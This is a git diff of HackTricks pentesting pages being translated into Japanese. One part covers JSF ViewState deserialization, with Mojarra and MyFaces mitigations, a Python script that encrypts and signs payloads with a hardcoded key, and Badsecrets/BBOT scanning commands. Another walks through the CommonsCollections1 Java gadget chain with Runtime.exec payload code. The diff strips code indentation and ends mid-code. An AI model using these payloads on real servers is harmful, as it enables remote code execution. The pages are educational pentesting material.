no way give away that changing it to client introduces grave remote code execution vulnerabilities (e.g. a client-side viewstate might be used in clustered web applications). +クライアントサイドのViewStateの暗号化は、Mojarra 2.2以降のバージョンではデフォルトで使用されていますが、2.0.xおよび2.1.xのブランチではデフォルトではありませんでした。ただし、2016年5月にMojarraの開発者は、暗号化されていないViewStateがRCEの脆弱性につながることに気付いたため、デフォルトのクライアントサイドのViewStateの暗号化を[2.0.x](https://github.com/javaserverfaces/mojarra/issues/4142)および[2.1.x](https://github.com/javaserverfaces/mojarra/issues/4141)にバックポートし始めました。 -Whilst client-side ViewState encryption is the default in Mojarra 2.2 and later versions it was not for the 2.0.x and 2.1.x branches. However, in May 2016 the Mojarra developers started backporting default client-side ViewState encryption to [2.0.x](https://github.com/javaserverfaces/mojarra/issues/4142) and [2.1.x](https://github.com/javaserverfaces/mojarra/issues/4141) when they realized that unencrypted ViewStates lead to RCE vulnerabilities. +したがって、少なくとも2.1.xブランチの[2.1.29-08](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-08)(2016年7月リリース)および2.0.xの[2.0.11-04](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.11-04)(同様に2016年7月リリース)のバージョンでは、デフォルトで暗号化が有効になっています。 -So at least version [2.1.29-08](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-08) (released in July 2016) from the 2.1.x Branch and version [2.0.11-04](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.11-04) (also released in July 2016) from the 2.0.x have encryption enabled by default. +Mojarraライブラリを分析したところ、Red Hatも2.1.xおよび2.0.xブランチ向けのMojarraバージョンをリリースしていることがわかりました。最新のバージョンは[2.1.29-jbossorg-1](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-jbossorg-1)および[2.0.4-b09-jbossorg-4](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.4-b09-jbossorg-4)です。これらのリリースもデフォルトのViewStateの暗号化が無効であったため、私たちはRed Hatに連絡し、彼らは迅速にバグトラッカーで[バグ1479661 - JSF client side view state saving deserializes data](https://bugzilla.redhat.com/show_bug.cgi?id=1479661)を作成しました。2.1.xブランチに対する以下の緩和策を提案しました。 -When we analyzed the Mojarra libraries we noticed that Red Hat also releases Mojarra versions for the 2.1.x and 2.0.x branches, the latest being [2.1.29-jbossorg-1](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-jbossorg-1) and [2.0.4-b09-jbossorg-4](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.4-b09-jbossorg-4). Since both releases were without default ViewState encryption we contacted Red Hat and they promptly created [Bug 1479661 - JSF client side view state saving deserializes data](https://bugzilla.redhat.com/show_bug.cgi?id=1479661) in their bugtracker with following mitigation advice for the 2.1.x branch: - -> A vulnerable web application needs to have set javax.faces.STATE_SAVING_METHOD to 'client' to enable client-side view state saving. The default value on Enterprise Application Platform (EAP) 6.4.x is 'server'.\ +> 脆弱なWebアプリケーションでは、javax.faces.STATE_SAVING_METHODを「client」に設定してクライアントサイドのビューステート保存を有効にする必要があります。Enterprise Application Platform(EAP)6.4.xのデフォルト値は「server」です。\ > \ -> If javax.faces.STATE_SAVING_METHOD is set to 'client' a mitigation for this issue is to encrypt the view by setting com.sun.faces.ClientStateSavingPassword in the application web.xml: +> javax.faces.STATE_SAVING_METHODが「client」に設定されている場合、この問題の緩和策は、アプリケーションのweb.xmlでcom.sun.faces.ClientStateSavingPasswordを設定してビューを暗号化することです: > > ```markup > @@ -107,63 +100,59 @@ When we analyzed the Mojarra libraries we noticed that Red Hat also releases Moj > client > > -> -> com.sun.faces.ClientStateSavingPassword -> java.lang.String -> [some secret password] +> +> com.sun.faces.ClientStateSavingPassword +> java.lang.String +> [some secret password] > > ``` -Unfortunately, in some even older versions that mitigation approach does not work: according to [this great StackOverflow answer](https://stackoverflow.com/questions/28231372/com-sun-faces-clientstatesavingpassword-recommendations-for-actual-password) in the JSF implementation documentation it was incorrectly documented that the param `com.sun.faces.ClientStateSavingPassword` is used to change the Client State Saving Password, while the parameter up until 2.1.18 was accidentally called `ClientStateSavingPassword`. So providing a Client State Saving Password as documented didn’t have an effect! In Mojarra 2.1.19 and later versions they changed the parameter name to the documented name `com.sun.faces.ClientStateSavingPassword`. +残念ながら、一部のさらに古いバージョンでは、その緩和策は機能しません。[この素晴らしいStackOverflowの回答](https://stackoverflow.com/questions/28231372/com-sun-faces-clientstatesavingpassword-recommendations-for-actual-password)によ +## Mojarra: クライアントに保存されるViewStateの設定 -By default Mojarra nowadays uses `AES` as encryption algorithm and `HMAC-SHA256` to authenticate the ViewState. +Mojarraのデフォルトの`javax.faces.STATE_SAVING_METHOD`設定は`server`です。開発者は手動でこれを`client`に変更する必要があります。これにより、Mojarraは上記で説明した攻撃シナリオに対して脆弱になります。シリアライズされたViewStateがサーバーに送信されるが、Mojarraが`server`側のViewState保存を使用している場合、それをデシリアライズしようとはしません(ただし、`StringIndexOutOfBoundsException`が発生する可能性があります)。 -## Mojarra: ViewState configured to reside on the client +## Mojarra: 緩和策 -The default `javax.faces.STATE_SAVING_METHOD` setting of Mojarra is `server`. A developer needs to manually change it to `client` so that Mojarra becomes vulnerable to the above described attack scenario. If a serialized ViewState is sent to the server but Mojarra uses `server` side ViewState saving it will not try to deserialize it (However, a `StringIndexOutOfBoundsException` may occur). +Mojarraをサーバー側のViewStateを使用している場合は、何もする必要はありません。 -## Mojarra: Mitigation +Mojarra < 2.2を使用してクライアント側のViewStateを使用している場合、以下の緩和策があります。 -When using Mojarra with a server-side ViewState nothing has to be done. +* Mojarraを2.0.11-04または2.1.29-08にアップデートします。 +* クライアント側のViewStateの代わりにサーバー側のViewStateを使用します。 +* より古いバージョンのMojarraを使用しており、アップデートやサーバー側のViewStateへの切り替えが不可能な場合は、一時的な解決策としてViewStateパスワードを設定し、それが正しいパラメータであることを確認します(必ずしも対応するドキュメント内のパラメータである必要はありません)。 -When using Mojarra < 2.2 and a client-side ViewState there are following possible mitigations: +後のMojarraバージョンの場合: -* Update Mojarra to 2.0.11-04 respectively 2.1.29-08. -* Use a server-side ViewState instead of a client-side ViewState. -* When using older Versions of Mojarra and an update or switching to a server-side ViewState is not possible: set a ViewState password as temporary solution and make sure it is the right parameter (not necessarily the one in the corresponding documentation) - -For later Mojarra versions: - -* Check that the ViewState encryptions is not disabled via the param: `com.sun.faces.disableClientStateEncryption` +* ViewStateの暗号化がパラメータ`com.sun.faces.disableClientStateEncryption`を介して無効になっていないことを確認します。 # Apache MyFaces -Apache MyFaces is the other big and widely used JSF implementation. +Apache MyFacesはもう1つの大きな、広く使用されているJSFの実装です。 -## MyFaces: unencrypted ViewState +## MyFaces: 暗号化されていないViewState -MyFaces does encrypt the ViewState by default, as stated in their [Security configuration Wiki page](https://wiki.apache.org/myfaces/Secure_Your_Application): +MyFacesはデフォルトでViewStateを暗号化します。これは彼らの[セキュリティ設定のWikiページ](https://wiki.apache.org/myfaces/Secure_Your_Application)で述べられています。 -> Encryption is enabled by default. Note that encription must be used in production environments and disable it could only be valid on testing/development environments. +> 暗号化はデフォルトで有効になっています。暗号化は本番環境で使用する必要があり、テスト/開発環境では無効にすることができます。 -However, it is possible to disable ViewState encryption by setting the parameter `org.apache.myfaces.USE_ENCRYPTION` to `false`. (Also it would be possible to use encryption but manually set an easy guessable password). By default the ViewState encryption secret changes with every server restart. +ただし、パラメータ`org.apache.myfaces.USE_ENCRYPTION`を`false`に設定することで、ViewStateの暗号化を無効にすることも可能です(または、暗号化を使用しながら推測しやすいパスワードを手動で設定することも可能です)。デフォルトでは、MyFacesはサーバーの再起動ごとにViewStateの暗号化キーを変更します。 -By default MyFaces uses `DES` as encryption algorithm and `HMAC-SHA1` to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like `AES` and `HMAC-SHA256`. +デフォルトでは、MyFacesは暗号化アルゴリズムとして`DES`、ViewStateの認証には`HMAC-SHA1`を使用します。`AES`や`HMAC-SHA256`などのより新しいアルゴリズムを設定することが可能であり、推奨されています。 -## MyFaces: ViewState configured to reside on the client +## MyFaces: クライアントに保存されるViewStateの設定 -The default `javax.faces.STATE_SAVING_METHOD` setting of MyFaces is `server`. But: **MyFaces does always deserialize the ViewState** regardless of that setting. So it is of [great importance to not disable encryption when using MyFaces](https://issues.apache.org/jira/browse/MYFACES-4021)! +MyFacesのデフォルトの`javax.faces.STATE_SAVING_METHOD`設定は`server`です。しかし、**MyFacesはViewStateの設定に関係なく常にデシリアライズを行います**。そのため、[MyFacesを使用する際には暗号化を無効にしないことが非常に重要です](https://issues.apache.org/jira/browse/MYFACES-4021)! -(We created an issue in the MyFaces bug tracker: [MYFACES-4133 Don’t deserialize the ViewState-ID if the state saving method is server](https://issues.apache.org/jira/browse/MYFACES-4133), maybe [this time](https://issues.apache.org/jira/browse/MYFACES-4021) the wish for more secure defaults will catch on.) +(私たちはMyFacesのバグトラッカーに問題を作成しました:[MYFACES-4133 サーバーの状態保存方法がserverの場合にViewState-IDをデシリアライズしないようにする](https://issues.apache.org/jira/browse/MYFACES-4133)、おそらく[今回](https://issues.apache.org/jira/browse/MYFACES-4021)はより安全なデフォルトの要望が受け入れられるでしょう。) -## MyFaces: Mitigation +## MyFaces: 緩和策 -When using MyFaces make sure that encryption of the ViewState is not disabled (via `org.apache.myfaces.USE_ENCRYPTION`) regardless if the ViewState is stored on the client or the server. +MyFacesを使用する場合は、ViewStateの暗号化が無効になっていないことを確認してください(`org.apache.myfaces.USE_ENCRYPTION`を介して)。ViewStateがクライアントまたはサーバーに保存されているかに関係なく、これが重要です。 -## Custom Encryption - -If somehow you manage to steal the password used you can attack the web server encrypting and signing the payload with this script: +## カスタム暗号化 +何らかの方法で使用されているパスワードを盗むことができれば、次のスクリプトを使用してウェブサーバーに対してペイロードを暗号化および署名攻撃することができます: ```python #!/usr/bin/python3 import sys @@ -177,71 +166,66 @@ YELLOW = "\033[93m" GREEN = "\033[32m" def encrypt(payload,key): - cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5) - enc_payload = cipher.encrypt(payload) - return enc_payload +cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5) +enc_payload = cipher.encrypt(payload) +return enc_payload def hmac_sig(enc_payload,key): - hmac_sig = hmac.new(key, enc_payload, sha1) - hmac_sig = hmac_sig.digest() - return hmac_sig +hmac_sig = hmac.new(key, enc_payload, sha1) +hmac_sig = hmac_sig.digest() +return hmac_sig key = b'JsF9876-' if len(sys.argv) != 3 : - print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0])) +print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0])) else: - with open(sys.argv[1], "rb") as f: - payload = f.read() - f.close() - print(YELLOW + "[+] Encrypting payload") - print(YELLOW + " [!] Key : JsF9876-\n") - enc_payload = encrypt(payload,key) - print(YELLOW + "[+] Creating HMAC signature") - hmac_sig = hmac_sig(enc_payload,key) - print(YELLOW + "[+] Appending signature to the encrypted payload\n") - payload = b64encode(enc_payload + hmac_sig) - payload = parse.quote_plus(payload) - print(YELLOW + "[*] Final payload : {}\n".format(payload)) - with open(sys.argv[2], "w") as f: - f.write(payload) - f.close() - print(GREEN + "[*] Saved to : {}".format(sys.argv[2])) +with open(sys.argv[1], "rb") as f: +payload = f.read() +f.close() +print(YELLOW + "[+] Encrypting payload") +print(YELLOW + " [!] Key : JsF9876-\n") +enc_payload = encrypt(payload,key) +print(YELLOW + "[+] Creating HMAC signature") +hmac_sig = hmac_sig(enc_payload,key) +print(YELLOW + "[+] Appending signature to the encrypted payload\n") +payload = b64encode(enc_payload + hmac_sig) +payload = parse.quote_plus(payload) +print(YELLOW + "[*] Final payload : {}\n".format(payload)) +with open(sys.argv[2], "w") as f: +f.write(payload) +f.close() +print(GREEN + "[*] Saved to : {}".format(sys.argv[2])) ``` +# Badsecretsを使った既知のキーの検出 -# Known Key Detection with Badsecrets - -![Badsecrets](https://github.com/blacklanternsecurity/badsecrets) is a library capable of detecting the use of known cryptographic keys by looking at the products they produce, and checking against a list of known or weak keys. Its `Jsf_viewstate` module is capable of detecting Java Server Faces ViewStates created with known keys on both Mojarra and MyFaces, in addition to unprotected or compressed ViewStates. - -The quickest way to use it is with the `cli.py` example tool as follows: +![Badsecrets](https://github.com/blacklanternsecurity/badsecrets)は、既知の暗号鍵の使用を検出することができるライブラリであり、生成される製品を調べ、既知のまたは弱い鍵のリストと照合します。その`Jsf_viewstate`モジュールは、MojarraとMyFacesの両方で既知のキーを使用して作成されたJava Server Faces ViewStates、および保護されていないまたは圧縮されたViewStatesを検出することができます。 +最も簡単な方法は、`cli.py`の例ツールを以下のように使用することです: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ= ``` - ![](https://user-images.githubusercontent.com/24899338/227623883-f760570d-796e-459d-87b0-b87ad33999ae.png) -If it finds a match, it will also list the platform (Mojarra or MyFaces), the encryption algorithm in use, and whether compression was used or not, which are all essential for exploitation. - -To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**]() module can be used: +一致するものが見つかった場合、それに加えて利用されているプラットフォーム(MojarraまたはMyFaces)、暗号化アルゴリズム、および圧縮の有無もリストアップされます。これらはすべて攻撃に必要な情報です。 +大規模な検索を行うために、サブドメインの列挙と組み合わせて、`badsecrets` [**BBOT**]()モジュールを使用することができます。 ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` - ![](https://user-images.githubusercontent.com/24899338/227626488-e45e99b2-0f6d-451e-8a43-7d6db75098de.png) -# Final thoughts +# 最終的な考察 -Most facts about JSF ViewStates and their dangers presented in this blog post are not exactly new but it seems they were never presented in such a condensed way. It showed [once more](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) that seemingly harmless configuration changes can lead to serious vulnerabilities. +このブログ記事で紹介されたJSF ViewStatesとそれらの危険性に関するほとんどの事実は新しいものではありませんが、これほど簡潔な形でまとめられたことはなかったようです。それは、見かけ上は無害な設定変更でも深刻な脆弱性につながる可能性があることを示しています。 -\=> One of the problems seems to be that there is not enough knowledge transfer between security researchers and developers who actually use and configure libraries that might be dangerous when configured in certain ways. +\=> 問題の一つは、セキュリティ研究者と実際に使用および設定する可能性のある危険なライブラリを使用する開発者の間での知識の移転が十分に行われていないようです。 -# References +# 参考文献 * [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) * [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/) @@ -251,16 +235,14 @@ Most facts about JSF ViewStates and their dangers presented in this blog post ar ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 - - diff --git a/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md index b8efc747d..96035401c 100644 --- a/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md +++ b/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md @@ -1,21 +1,20 @@ -# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep +# CommonsCollection1 ペイロード - Java Transformersを使用したRutime exec()とThread Sleep
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Java Transformers to Rutime exec() - -In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one: +## Java Transformersを使用したRutime exec() +いくつかの場所で、次のようなApache common collectionsのトランスフォーマを使用したJava逆シリアル化ペイロードを見つけることができます: ```java import org.apache.commons.*; import org.apache.commons.collections.*; @@ -27,168 +26,148 @@ import java.util.Map; import java.util.HashMap; public class CommonsCollections1PayloadOnly { - public static void main(String... args) { - String[] command = {"calc.exe"}; - final Transformer[] transformers = new Transformer[]{ - new ConstantTransformer(Runtime.class), //(1) - new InvokerTransformer("getMethod", - new Class[]{ String.class, Class[].class}, - new Object[]{"getRuntime", new Class[0]} - ), //(2) - new InvokerTransformer("invoke", - new Class[]{Object.class, Object[].class}, - new Object[]{null, new Object[0]} - ), //(3) - new InvokerTransformer("exec", - new Class[]{String.class}, - command - ) //(4) - }; - ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); - Map map = new HashMap<>(); - Map lazyMap = LazyMap.decorate(map, chainedTransformer); - - //Execute gadgets - lazyMap.get("anything"); - } +public static void main(String... args) { +String[] command = {"calc.exe"}; +final Transformer[] transformers = new Transformer[]{ +new ConstantTransformer(Runtime.class), //(1) +new InvokerTransformer("getMethod", +new Class[]{ String.class, Class[].class}, +new Object[]{"getRuntime", new Class[0]} +), //(2) +new InvokerTransformer("invoke", +new Class[]{Object.class, Object[].class}, +new Object[]{null, new Object[0]} +), //(3) +new InvokerTransformer("exec", +new Class[]{String.class}, +command +) //(4) +}; +ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); +Map map = new HashMap<>(); +Map lazyMap = LazyMap.decorate(map, chainedTransformer); + +//Execute gadgets +lazyMap.get("anything"); +} } ``` +Javaの逆シリアル化ペイロードについて何も知らない場合、このコードがなぜcalcを実行するのかを理解するのは難しいかもしれません。 -If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc. - -First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.\ -Also it's interesting to know that the **payload** being **executed** here is **equivalent** to: - +まず最初に知っておく必要があるのは、**JavaのTransformer**は、**クラスを受け取り、別のクラスに変換する**ものです。 +また、ここで**実行されるペイロード**は、以下と**同等**です: ```java Runtime.getRuntime().exec(new String[]{"calc.exe"}); ``` - -Or **more exactly**, what is going to be executed at the end would be: - +もっと正確に言えば、最終的に実行されるのは次のようなものです: ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` +### 方法 -### How - -So, how is the first payload presented equivalent to those "simple" one-liners? - -**First** of all, you can notice in the payload that a **chain (array) of transforms are created**: +では、最初のペイロードは「単純な」ワンライナーと同等であるかどうかを見てみましょう。 +まず、ペイロードで注意すべき点は、**変換のチェーン(配列)が作成されている**ことです: ```java String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ - //(1) - Get gadget Class (from Runtime class) - new ConstantTransformer(Runtime.class), - - //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime" - new InvokerTransformer("getMethod", - new Class[]{ String.class, Class[].class}, - new Object[]{"getRuntime", new Class[0]} - ), - - //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject - new InvokerTransformer("invoke", - new Class[]{Object.class, Object[].class}, - new Object[]{null, new Object[0]} - ), - - //(4) - Use the Runtime object to call exec with arbitrary commands - new InvokerTransformer("exec", - new Class[]{String.class}, - command - ) +//(1) - Get gadget Class (from Runtime class) +new ConstantTransformer(Runtime.class), + +//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime" +new InvokerTransformer("getMethod", +new Class[]{ String.class, Class[].class}, +new Object[]{"getRuntime", new Class[0]} +), + +//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject +new InvokerTransformer("invoke", +new Class[]{Object.class, Object[].class}, +new Object[]{null, new Object[0]} +), + +//(4) - Use the Runtime object to call exec with arbitrary commands +new InvokerTransformer("exec", +new Class[]{String.class}, +command +) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ``` +コードを読むと、配列の変換を何らかの方法で連鎖させることで任意のコマンドを実行できることがわかります。 -If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands. - -So, **how are those transforms chained?** - +では、これらの変換はどのように連鎖されるのでしょうか? ```java Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); ``` - -In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute: - +最後のペイロードのセクションでは、**Mapオブジェクトが作成**されていることがわかります。その後、`LazyMap`から`decorate`関数が実行され、マップオブジェクトとチェーンされたトランスフォーマーが渡されます。次のコードからわかるように、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性内にコピーされます。 ```java protected LazyMap(Map map, Transformer factory) { - super(map); - if (factory == null) { - throw new IllegalArgumentException("Factory must not be null"); - } - this.factory = factory; +super(map); +if (factory == null) { +throw new IllegalArgumentException("Factory must not be null"); +} +this.factory = factory; } ``` +そして、素晴らしいフィナーレが実行されます:`lazyMap.get("anything");` -And then the great finale is executed: `lazyMap.get("anything");` - -This is the code of the `get` function: - +これが`get`関数のコードです: ```java public Object get(Object key) { - if (map.containsKey(key) == false) { - Object value = factory.transform(key); - map.put(key, value); - return value; - } - return map.get(key); +if (map.containsKey(key) == false) { +Object value = factory.transform(key); +map.put(key, value); +return value; +} +return map.get(key); } ``` - -And this is the code of the `transform` function - +そして、これが`transform`関数のコードです。 ```java public Object transform(Object object) { - for (int i = 0; i < iTransformers.length; i++) { - object = iTransformers[i].transform(object); - } - return object; +for (int i = 0; i < iTransformers.length; i++) { +object = iTransformers[i].transform(object); +} +return object; } ``` +したがって、**factory**の中には**`chainedTransformer`**が保存されており、**`transform`**関数の中では、**すべてのチェーンされたトランスフォーマーを順番に実行**しています。面白いことに、**各トランスフォーマーは`object`を入力として使用**しており、**オブジェクトは前に実行された最後のトランスフォーマーの出力**です。したがって、**すべてのトランスフォームは、悪意のあるペイロードを実行するためにチェーンされています**。 -So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**. - -### Summary - -At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code: +### 概要 +最終的には、lazyMapがgetメソッド内でチェーンされたトランスフォーマーを管理する方法のため、次のコードを実行しているかのようです: ```java Object value = "someting"; - + value = new ConstantTransformer(Runtime.class).transform(value); //(1) value = new InvokerTransformer("getMethod", - new Class[]{ String.class, Class[].class}, - new Object[]{"getRuntime", null} - ).transform(value); //(2) - +new Class[]{ String.class, Class[].class}, +new Object[]{"getRuntime", null} +).transform(value); //(2) + value = new InvokerTransformer("invoke", - new Class[]{Object.class, Object[].class}, - new Object[]{null, new Object[0]} - ).transform(value); //(3) - +new Class[]{Object.class, Object[].class}, +new Object[]{null, new Object[0]} +).transform(value); //(3) + value = new InvokerTransformer("exec", - new Class[]{String.class}, - command - ).transform(value); //(4) +new Class[]{String.class}, +command +).transform(value); //(4) ``` - -_Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:_ - +_注意してください、`value`は各変換の入力であり、前の変換の出力でもあります。これにより、ワンライナーの実行が可能になります:_ ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` +ここでは、**ComonsCollections1** ペイロードで使用されるガジェットが説明されています。しかし、**これがどのように実行されるかは説明されていません**。[ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)を見ると、このペイロードを実行するために、`AnnotationInvocationHandler` オブジェクトを使用していることがわかります。このオブジェクトが逆シリアル化されると、`payload.get()` 関数が呼び出され、ペイロード全体が実行されます。 -Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**. - -## Java Thread Sleep - -This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**. +## Javaスレッドのスリープ +このペイロードは、**ウェブが脆弱かどうかを特定するのに便利**であり、脆弱である場合にはスリープが実行されます。 ```java import org.apache.commons.*; import org.apache.commons.collections.*; @@ -202,39 +181,38 @@ import java.util.Map; import java.util.HashMap; public class CommonsCollections1Sleep { - public static void main(String... args) { - final Transformer[] transformers = new Transformer[]{ - new ConstantTransformer(Thread.class), - new InvokerTransformer("getMethod", - new Class[]{ - String.class, Class[].class - }, - new Object[]{ - "sleep", new Class[]{Long.TYPE} - }), - new InvokerTransformer("invoke", - new Class[]{ - Object.class, Object[].class - }, new Object[] - { - null, new Object[] {7000L} - }), - }; +public static void main(String... args) { +final Transformer[] transformers = new Transformer[]{ +new ConstantTransformer(Thread.class), +new InvokerTransformer("getMethod", +new Class[]{ +String.class, Class[].class +}, +new Object[]{ +"sleep", new Class[]{Long.TYPE} +}), +new InvokerTransformer("invoke", +new Class[]{ 